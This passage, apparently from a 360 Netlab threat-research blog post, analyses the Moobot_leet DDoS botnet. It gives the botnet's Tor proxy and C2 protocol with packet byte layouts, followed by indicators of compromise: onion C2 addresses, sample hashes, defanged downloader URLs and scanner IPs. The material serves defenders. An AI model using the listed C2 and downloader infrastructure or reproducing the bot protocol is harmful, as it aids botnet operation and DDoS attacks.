src=\"__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG\" class=\"kg-image\"/></a>\n\n### Communication protocol\n\nAn overview of Moobot_leet network traffic is as follows\n\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_view.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_view.PNG\" class=\"kg-image\"/></a>\nFirst, establish a connection with the built-in proxy node of the sample, then establish a connection with Tor-C2, and finally use the normal Moobot communication protocol to notify C2 it is alive and can receive the attack command issued by C2.\n\n#### 1. Establish a connection with the proxy, the port is 9050\n\n<a href=\"__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG\" class=\"kg-image\"/></a>\n   The list of hardcode proxy nodes in the sample is as follows:\n\n   ```\n   1.26.150.133\n   104.45.52.37\n   107.21.38.230\n   12.11.175.187\n   128.199.45.26\n   13.50.100.110\n   136.243.69.28\n   138.68.107.137\n   158.69.33.149\n   165.22.117.234\n   173.212.249.65\n   185.242.114.206\n   193.29.187.226\n   193.70.77.132\n   20.188.45.175\n   3.8.5.177\n   31.6.69.162\n   35.153.180.187\n   35.158.231.234\n   4.21.119.186\n   45.137.22.80\n   45.14.148.239\n   46.101.216.75\n   5.138.113.101\n   5.252.225.249\n   51.11.247.88\n   51.15.239.174\n   51.75.144.59\n   51.77.148.172\n   62.149.14.80\n   79.130.136.67\n   80.241.212.116\n   82.146.61.193\n   82.230.81.131\n   86.177.24.148\n   89.163.146.187\n   89.217.41.145\n   9.43.47.135\n   9.43.47.39\n   90.93.30.29\n   91.228.218.66\n   92.222.76.104\n   92.29.22.186\n   93.104.211.123\n   94.100.28.172\n   ```\n\n   \n\n#### 2. Establish a connection with C2 through Tor-Proxy protocol\n\n   <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG\" class=\"kg-image\"/></a>\n\n   The sample hardcode Tor-C2 list is as follows:\n\n   ```\n   ol6zbnlduigehodu.onion：1900\n   uajl7qmdquxaramd.onion：554\n   nhez3ihtwxwthjkm.onion：21\n   ```\n\n#### 3. Communicate with C2 through the Moobot protocol, the specific go live, heartbeat, and attack packet are as follows\n\n   - Register package\n\n     <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG\" class=\"kg-image\"/></a>\n\n```\n     msg parsing\n     ----------------------------------------------------------------\n     33 66 99 \t\t\t\t\t-----> hardcoded magic\n     07\t\t\t\t\t\t\t-----> group string length\n     62 61 6c 6c 6f 6f 6e\t\t\t-----> group string,here it is \"balloon\"\n```\n\n     \n\n   - Heartbeat package\n    <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG\" class=\"kg-image\"/></a>\n\n\n\n```\n     msg parsing\n     ----------------------------------------------------------------\n     c7 15 3a fa \t\t\t\t\t-----> random 4 bytes msg from bot\n     c7 15 3a fa\t\t\t\t\t\t-----> 4 bytes msg from c2\t\n```\n     \n   - The attack command is similar to mirai\n\n```\n00000000: 01 00 00 00 3C 01 C2 0F  92 0C 20 02 01 00 05 32  ....<..... ....2\n00000010: 38 30 31 35 02 00 04 31  34 36 30 02 1C           8015...1460..\n```\n\n# Moobot DDoS campaign\n\nMoobot's DDoS attacks are active all year round, and our previous article also introduced Moobot's attacks [[1]](__GHOST_URL__/moobot/) . Here are the DDoS targets launched by Moobot.(we noticed `electrum.hodlister.co` has been attacked from this Moobot nonstop for a few months now)\n\n<a href=\"__GHOST_URL__/content/images/2020/09/Snip20200929_7.png\"><img src=\"__GHOST_URL__/content/images/2020/09/Snip20200929_7.m.png\" class=\"kg-image\"/></a>\n\n\n# Contact us\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n\n# IoC\n#### Tor-C2\n```\ndjq6cvwigo7l7q62.onion:194\ndl3ochoifo77lsak.onion:1553\nkrjn77m6demafp77.onion:6969\nmvo4y3vr7xuxhwcf.onion:21\nnhez3ihtwxwthjkm.onion:21\nol6zbnlduigehodu.onion:1900\nstmptmmm27tco3oh.onion:115\ntto6kqp6nsto5din.onion:17\nuajl7qmdquxaramd.onion:554\nwsvo6jwd3spsb4us.onion:1900\n```\n#### Sample MD5\n```\n022081bc7f49b4aa5c4b36982390cd97\n05764c4d5ec37575d5fd3efe95cf3458\n260bda811c00dac88b4f5a35e9939760\n30416eae1f1922b28d93be8078b25ba0\n348acf45ccb313f6c5d34ca5f68f5e13\n3e9ae33e0d5c36f7cd5f576233d83f26\n4d785886039cbca5372068377f72da43\n565c0456c7fbb393ec483c648155b119\n655b56b345799f99b614e23128942b92\n7735289d33d14644fea27add188093ea\n7988a73a4b5ccb7ca9b98dc633b8c0c6\nb2c66c2831173b1117467fdabc78241e\nbb27f755238528fc3c6386287a5c74a7\nbff215a95f088672ad13933a1de70861\ncb428a513275b5e969353596deb7383d\ncf3602498c49caa902d87579fd420098\ne24dc070a4d90a7b01389de9f2805b2b\nfe0488ec71ee04ddb47792cae199595b\n```\n\n#### Downloader URL\n```\nhttp[://104.244.78.131/boot\nhttp[://104.244.78.131/fre\nhttp[://107.189.10.28/boot\nhttp[://107.189.10.28/fre\nhttp[://141.164.63.40/boot\nhttp[://141.164.63.40/fre\nhttp[://172.104.105.205/boot\nhttp[://185.216.140.70/fre\nhttp[://185.216.140.70/t\nhttp[://185.39.11.84/fre\nhttp[://89.248.174.166/t\nhttp[://92.223.73.55/fre\nhttp[://ape.run/dtf/b\nhttp[://ape.run/fre\nhttp[://c.uglykr.xyz/fre\nhttp[://kreb.xyz/fre\nhttp[://osrq.xyz/dtf/b\nhttp[://osrq.xyz/fre\n```\n\n#### Scanner IP\n```\n176.126.175.10\tAS47540|EURODC-AS\t                Romania|Romania|Unknown\n176.126.175.8\tAS47540|EURODC-AS\t                Romania|Romania|Unknown\n185.107.80.202\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.107.80.203\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.107.80.34\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.107.80.62\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.39.11.84\tAS62355|Network_Dedicated_SAS       Netherlands|North_Holland|Wormer\n212.224.124.178\tAS44066|First_Colo_GmbH\t            Germany|Hesse|Frankfurt\n89.248.174.165\tAS202425|IP_Volume_inc\t            Netherlands|North_Holland|Wormer\n89.248.174.166\tAS202425|IP_Volume_inc\t            Netherlands|North_Holland|Wormer\n89.248.174.203\tAS202425|IP_Volume_inc\t            Netherlands|North_Holland|Wormer\n92.223.73.136\tAS199524|G-Core_Labs_S.A.\t        Republic_of_Korea|Seoul|Unknown\n92.223.73.54\tAS199524|G-Core_Labs_S.A.\t        Republic_of_Korea|Seoul|Unknown\n92.223.73.55\tAS199524|G-Core_Labs_S.A.\t        Republic_of_Korea|Seoul|Unknown\n92.223.73.72\tAS199524|G-Core_Labs_S.A.\t        Republic_of_Korea|Seoul|Unknown\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}